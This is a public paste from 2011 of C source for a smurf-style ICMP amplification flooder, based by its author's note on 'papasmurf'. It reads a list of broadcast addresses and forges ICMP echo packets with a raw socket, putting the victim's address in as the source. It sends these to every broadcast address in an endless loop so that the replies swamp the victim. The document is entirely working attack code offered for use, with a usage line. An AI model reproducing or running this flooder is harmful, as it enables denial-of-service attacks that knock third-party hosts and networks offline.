All pastes #2088214 Raw Edit

Miscellany

public text v1 · immutable
#2088214 ·published 2011-10-09 04:57 UTC
rendered paste body
/*w00t w00t, this code is largely based off papasmurf, and not
 *much optimizations have been done with it, but it is slimmer
 *and it did teach me a great part of coding in nyx
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>

/* if LINUX is defined, n will be changed to network byte order,
 * if not it'll remain the same */

#ifdef LINUX
#define FIX(n) htons(n)
#else
#define FIX(n) (n)
#endif

/*functions*/
void usage (char *);

int main (int argc, char *argv[])
{
    if (argc < 4)
        usage(argv[0]);

    int s, on = 1, psize = atoi(argv[3]), delay = atoi(argv[4]),
        id = FIX( getpid() ), num = 0, bf = 0;
    struct sockaddr_in sin;
    struct ip *ip;
    struct icmp *icmp;
    char *packet;
    int pktsize = sizeof(struct ip) + sizeof(struct icmp) + psize;
    FILE *bcastfile;
    u_long bcast[1024];
    char buf[32];

    /*read bcast addy's from files, fgets fetches 32 bytes (buf)
     *from the file until it reaches a newlineor EOF, than does checks
     *whether it's a comment, or IP.. if neither it get's dropped */

    if ((bcastfile = fopen(argv[2], "r")) == NULL)
    {
        printf("Error: fopen()\n");
        exit(-1);
    }

    while(fgets(buf, sizeof buf, bcastfile) != NULL)
    {
        char *p;
        int valid;
        if(buf[0] == '#' || buf[0] == '\n') continue;
        buf[strlen(buf) -1] = '\0';

        for (p = buf, valid = 1; *p != '\0'; p++)
        {
            if ( ! isdigit(*p) && *p != '.')
            {
                printf("Warning: %s is an invalid ip\n", buf);
                valid = 0;
                break;
            }
        }

        if (valid)
        {
            bcast[num] = inet_addr(buf);
            num ++;
            if (num == 1024)
                break;
        }
    }

    /*set up socket :)*/

    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    {
        printf("Error: socket()\n");
        exit(-1);
    }
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    {
        printf("Error: setsockopt()\n");
        exit(-1);
    }

    /* set up protocol structure */

    sin.sin_port = htons(0);
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);

    /*mmmmm packet filling *drool* */

    packet = malloc(pktsize);
    ip = (struct ip *) packet;
    icmp = (struct icmp *) (packet + sizeof(struct ip));

    memset(packet, '\0', pktsize);

    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_len = FIX(pktsize);
    ip->ip_ttl = 255;
    ip->ip_off = 0;
    ip->ip_id = id;
    ip->ip_p = IPPROTO_ICMP;
    ip->ip_sum = 0;
    ip->ip_src.s_addr = sin.sin_addr.s_addr;
    ip->ip_dst.s_addr = bcast[bf];

    icmp->icmp_type = ICMP_ECHO;
    icmp->icmp_code = 0;
    icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

    /* CHARGEEEEEEEE */

    while(1)
    {
        bf = 0;
        while(bf < num)
        {


            if (sendto(s, packet, pktsize, 0, (struct sockaddr *)&sin,
                       sizeof(struct sockaddr)) == -1)
            {
                printf("Error: sendto()\n");
                free(packet);
                exit(-1);
            }
            id++;
            bf++;
            ip->ip_id = id;
            ip->ip_dst.s_addr = bcast[bf];
            usleep(delay);

        }
        printf(".");
        fflush(stdout);
    }
    return 0;
}

void usage (char *s)
{
    printf("Usage: %s <source addy> <bcast file> <pktsize> <delay>\n", s);
    exit(-1);
}